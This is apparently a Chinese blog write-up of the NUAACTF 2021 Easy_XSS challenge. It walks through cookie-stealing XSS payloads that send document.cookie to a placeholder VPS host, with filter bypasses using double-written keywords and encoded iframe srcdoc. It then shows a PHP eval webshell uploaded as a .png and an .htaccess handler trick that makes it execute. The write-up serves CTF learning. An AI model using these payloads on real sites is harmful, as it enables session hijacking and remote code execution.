CTF | 2021 NUAACTF Easy_XSS 复现


本文首发于先知社区:https://xz.aliyun.com/t/9516

引言

在 NUAACTF 2021 中,有一道 XSS 相关的题目 Easy_XSS,比赛的时候就只有一队做出来了。

(当然只是校内玩玩而已,大师傅们应该随便就 AK 了 Orz

题目考点主要涉及 XSS 绕过、PHP 代码审计、文件上传绕过等,难度其实还好。

最近几天摸鱼,就来复现一下吧。

顺便还拓展学习了一下 iframe 标签中的 srcdoc 属性在 XSS 中的利用。

题目描述

Easy XSS

尝试去获取管理员的神秘页面 upload.php 吧!

http://45.76.221.54:8005

解题步骤

Step 01 收集环境信息

打开题目发现是个 Blog,可以在里面发 post。

发 post 需要登录,那就先随意注册个账户。

根据题目描述,直接访问 upload.php,会提示需要 admin 才能上传。

啊,居然没有前端界面,只有丑丑的源代码

可是有源代码吼啊!

那就看看怎么获取 admin 权限好了。

Step 02 XSS 及其绕过

既然是 XSS 嘛,那就想到先试试 img 标签好了。

先构造一个最普通的,利用 url 来传递 cookie。

自己的 VPS 上起个 web 服务来接收一下,或者如果有 NGINX 的话看看 log 也行。

payload:

meow
<img src='#' onerror="window.location.href='//VPSIP:PORT/'+document.cookie">
233 

然而发现 img window document on 被替换为空了,location -> locati

那就试试双写绕过行不行。

meow
<imimgg src='#' oonnerror="windwindowow.locatioonn.href='//VPSIP:PORT/'+documdocumentent.cookie">
23333

很好,成功构造出了预期的 xss 语句,实现了跳转。

接下来就勾上 Publish this post,让 admin 看一看,顺便偷走他的 cookie。

成功在 VPS 上接收到 cookie。

PHPSESSID=9f767556e4ef66825cb9e3b399e5d243

而后修改 cookie,刷新页面就是 admin 了。

Step 03 PHP 文件上传绕过

再回到开始的 /upload.php,发现此时页面上空空如也,确实是 admin 了。

没有前端上传界面,那下面就直接审计 PHP 源码再自己构造上传请求吧。

<?php
require_once 'init.php';
error_reporting(0);
if ($_SESSION['is_admin'] !== 1) {
    echo "You are not admin! You can't access this page.";
    highlight_file(__FILE__);
    die();
}

$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
    mkdir($userdir, 0777, true);
}
if (isset($_POST["submit"])) {
    $tmp_name = $_FILES["upload"]["tmp_name"];
    $name = basename($_FILES["upload"]["name"]);
    if (!$tmp_name) {
        die();
    }
    if (!$name) {
        die("filename cannot be empty!");
    }
    $extension = substr($name, strrpos($name, ".") + 1);
    if (preg_match("/ph/i", $extension)) {
        die("illegal suffix!");
    }
    $upload_file_path = $userdir . "/" . $name;
    if (!move_uploaded_file($tmp_name, $upload_file_path)) {
        die("Error!");
    }
    echo "Your dir " . $userdir . ' <br>';
    echo "Your file: ";
    var_dump(scandir($userdir));
}

参考 PHP 手册:POST 方法上传

strrpos() 函数查找字符串在另一字符串中最后一次出现的位置,且对大小写敏感。

于是 $extension 就是根据文件名中最后一个 . 之后的字符得到文件的扩展名,如果包含 ph 的话就会被拦住了。

另外,触发上传的话需要用 POST 方法,且包含一个 submit 变量,值的话随意设置就好了。

先准备个一句话木马,存为 miao.png

<?php @eval($_GET['miao']);?>

当然 POST 也行。

Python 写个脚本上传。

import requests

url = "http://45.76.221.54:8005/upload.php"
headers = {
    'cookie': 'PHPSESSID=9f767556e4ef66825cb9e3b399e5d243'
}
form_data = {
    'submit': (None, '1'),
    # 'upload': (f'.htaccess', open(f'.htaccess', 'rb'))
    'upload': (f'miao.png', open(f'miao.png', 'rb'))
}
print(form_data)
resp = requests.post(url, headers=headers, files=form_data, timeout=10)
resp.encoding = 'utf-8'
print(resp.content)

上传之后发现不能执行 PHP 脚本。

做的时候试了试 %00 截断 test.php%00.png1.php(0x00)/1.png 之类的,发现都不行。

再回去看看题目环境,PHP 7.4.0 + Apache 2.4.38。

考虑到服务器用了 Apache,可以试试上传一个 .htaccess 文件,让文件夹里所有后缀的文件都交给 PHP 来处理。

SetHandler application/x-httpd-php

这样就能通过上传不带有 ph 后缀的文件来执行 php 代码了。

当然也可以在 .htaccess 里这么写,也就是给 .png 文件指定用 PHP 来处理。

AddType application/x-httpd-php .png

根据得到的路径进行访问,然后用一句话木马去拿 flag。

phpinfo

根目录

flag

成功拿到 flag,好耶!

flag{851f398a-3db1-4299-8dd6-6a3d2467433f}




拓展一下

看看源码

那顺便再来看看他源码好了。

发现 post.php 在渲染页面的时候,有一个过滤。

具体是

function render_tags($str) {
  $str = preg_replace('/script|img|svg|on|document|window/i', "" ,$str);
  return $str;
}

那其实还能直接用 iframe 来整,不过原理差不多倒是了。

<iframe src=javascript:alert('xss');></iframe>

改改过滤

把关键词替换为 hacker 试试,即

function render_tags($str) {
  $str = preg_replace('/script|img|svg|on|document|window/i', "hacker" ,$str);
  return $str;
}

这样一下子难度就上来了。包含这些关键词的标签以及 onxxxx 属性都不能用了。

其实这题出题人最开始过滤方法就这样的,后来觉得太难了就改成替换为空了。

但是这样还有个 iframe 可以写入 src 呢。

首先构造 payload

<script>top.location.href='//VPSIP:PORT/'+document.cookie</script>

配合 data 协议以及 base64 编码,写入到 src 里。

<iframe src="data:text/html;base64,PHNjcmlwdD50b3AubG9jYXRpb24uaHJlZj0nLy9WUFNJUDpQT1JULycrZG9jdW1lbnQuY29va2llPC9zY3JpcHQ+"></iframe>

然而打过去发现被拦住了……

也就是说 data 里不能拿到 document.cookie

再来看 iframe 标签还有什么神奇的属性呢?

参考 HTML <iframe> 标签的 srcdoc 属性 ,我们可以在 srcdoc 属性中直接写入 HTML 源码。

为了防止被替换掉,这里可以用 HTML entity 编码一下。

<iframe srcdoc="&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;&#116;&#111;&#112;&#46;&#108;&#111;&#99;&#97;&#116;&#105;&#111;&#110;&#46;&#104;&#114;&#101;&#102;&#61;&#39;&#47;&#47;&#86;&#80;&#83;&#73;&#80;&#58;&#80;&#79;&#82;&#84;&#47;&#39;&#43;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#99;&#111;&#111;&#107;&#105;&#101;&#60;&#47;&#115;&#99;&#114;&#105;&#112;&#116;&#62;"></iframe>

打过去,成功收到 cookie。

好耶!

小结

复现完了耶!

这篇文章从 NUAACTF 2021 Easy_XSS 一题入手,对整个解题过程进行了复现。

题目考点主要包括 XSS 绕过、PHP 代码审计、文件上传绕过,总体而言难度还好。

在拓展部分,对于过滤替换为其他字符的情况进行了分析,进一步考虑了 iframe 标签中的 srcdoc 属性在 XSS 中的利用。

Extensive Reading

.htaccess利用与Bypass方式总结

文件上传漏洞(绕过姿势)

XSS总结


(溜了溜了喵~


文章作者: MiaoTony
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 MiaoTony !
评论
  目录